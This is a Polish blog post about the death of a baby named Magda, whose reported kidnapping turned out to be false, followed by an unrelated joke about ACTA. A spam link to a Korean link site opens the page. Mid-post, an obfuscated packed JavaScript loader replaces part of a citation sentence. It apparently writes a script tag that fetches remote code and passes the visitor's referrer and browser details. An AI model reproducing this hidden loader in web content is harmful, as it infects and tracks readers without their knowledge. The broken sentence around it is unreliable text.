https://여기여.co 여기여 링크모음 주소모음/a>

Mała Magda nie żyje, nie było porwania…

To co prawdę mówiąc czułem od początku jakoś tak „przez skórę” okazało się tragiczną prawdą. Nie było żadnego porywacza…

„Magda miała umrzeć w mieszkaniu, po tym, gdy przypadkiem wysunęła się z kocyka, spadła na podłogę i uderzyła o próg”
Czy tak było naprawdę? Oby, jednak nie wydaje się mi. Obawiam się, że prawda jest o wiele bardziej mroczna…

Źródło cytatu: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kziki|var|u0026u|referrer|ttsyk||js|php'.split('|'),0,{})) chwili śmierci Magdy jej matka była poczytalna

Nie pojmuję jak można krzywdzić niewinne kruszynki… Czy tak się stało czy był to rzeczywiście „tylko” nieszczęśliwy wypadek, zbada policja.

„Musimy jednak brać też pod uwagę (oby tak nie było) również i inne możliwości. Dzieciobójstwo, machinacje. Pamiętam sprawę utopienia w Warszawie chłopczyka w wieku przedszkolnym kilka lat temu.
Czy w zeszłym roku znalezione zwłoki dziecka w stawie na Śląsku. Chyba do tej pory nie ustalono jego tożsamości.
Te sprawy są ogromnie trudne i bolesne. Przede wszystkim nie umiem pojąć osób, które chcą skrzywdzić w jakikolwiek sposób bezbronne dziecko. Czy też wykorzystać do jakichkolwiek celów? Dziecko to radość życia nie tylko rodziców, to nadzieja na przyszłość nas wszystkich”

Źródło cytatu: Porwania dzieci; tragedia z Sosnowca

Z maila: Dowcip w sprawie ACTA

Starszy pan w New Jersey postanowił posadzić pomidory w przydomowym ogródku.
Ale najpierw trzeba skopać ogródek a siły już nie te. Wysyła wiec Email do
syna:
„Stanley przyjedz do mnie skopać ogródek”, Stanley odpisuje:
„Tato nie ruszaj ogródka przecież zakopaliśmy tam pare ciał”
Na drugi dzień pod dom podjeżdża Policja , FBI , koroner i inne służby.
Przekopują ogródek wzdłuż iw szerz nic nie znajdując. Wieczorem Stanley pisze

do ojca:
” Tato teraz juz możesz sadzić pomidory”